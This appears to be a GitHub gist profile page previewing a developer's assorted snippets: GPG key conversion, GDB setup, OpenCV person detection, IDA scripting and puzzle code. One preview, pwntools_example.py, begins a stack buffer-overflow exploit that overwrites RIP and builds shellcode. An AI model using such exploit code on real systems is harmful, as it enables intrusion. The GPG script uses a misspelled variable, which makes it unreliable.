Skip to content

Instantly share code, notes, and snippets.

View bitterbit's full-sized avatar
💩
echo echo

Gal Tashma bitterbit

💩
echo echo
View GitHub Profile
@bitterbit
bitterbit / convert-gpg.sh
Created September 11, 2021 19:43
Convert GPG keys from old to new keys
PASSPHRASE=$1
DEST_KEY_ID=$2
PASS_DIR="pass"
function convert {
file="$1"
gpg --passphrase $PASSPHRASE --decrypt "$file" > "$file.dec"
gpg --encrypt --armor -r $DESK_KEY_ID --output "$file.enc" "$file.dec"
@bitterbit
bitterbit / pwntools_example.py
Created April 29, 2020 17:07
pwntools_example.py
from pwn import *
def shellcode():
pad = 'A'*24
pad += p64(0x007fffffffdc20) # override RIP with middle of nop slide
s = ""
# s += shellcraft.amd64.nop() * 500
s += shellcraft.amd64.mov('edx', 0)
s += shellcraft.amd64.mov('esi', 0)
@bitterbit
bitterbit / install.sh
Last active March 25, 2020 11:56
GDB with python3
c
PY=$(which python3)
VERSION="gdb-9.1"
wget https://ftp.gnu.org/gnu/gdb/$VERSION.tar.gz
tar -xzf $VERSION.tar.gz
cd $VERSION
DIR=$(PWD)
mkdir build && cd build
@bitterbit
bitterbit / detector.py
Created February 29, 2020 08:11
Human detector test
import cv2
import os
import os.path
def main():
hog = HOG()
haar = HAAR()
folder = "../images/full/"
for p in os.listdir(folder):
@bitterbit
bitterbit / person_detector.py
Created February 21, 2020 08:34
person_detector
from imutils.object_detection import non_max_suppression
from imutils import paths
import imutils
import cv2
def main():
# initialize the HOG descriptor/person detector
hog = cv2.HOGDescriptor()
hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())
@bitterbit
bitterbit / cookie_clicker_hackerz.js
Created September 23, 2019 19:49
cookie_clicker_hackerz by Noam
print ""
print "==========================="
print ""
MAX_GOBACK = 30
def find_memcpy_import(addr, name, c):
if name.startswith("memcpy"):
print "addr 0x%x name %s" %(addr, name)
for x in XrefsTo(addr):
@bitterbit
bitterbit / hashcode2017.py
Last active February 24, 2017 20:20
hashcode 2017
videos_number = 0
endpoints_number = 0
requests_number = 0
caches_number = 0
caches_size = 0
DATACENTER_LATENCY = 'datacenter_latnecy'
NUMBER_OF_REQUESTS = 'requests_num'
VIDEO = 'video'
ENDPOINT = 'endpoint'
"""
Thread-safe lock mechanism with timeout support module.
"""
from threading import ThreadError, current_thread
from Queue import Queue, Full, Empty
class TimeoutLock(object):
"""
@bitterbit
bitterbit / lang_detect.php
Created January 12, 2016 20:51
Detected different text languges
<?php
class MY_Lang_detector {
const MAX_WORDS_TO_CHECK = 50;
public function __construct()
{
$this->languages = $this->getLangs();
}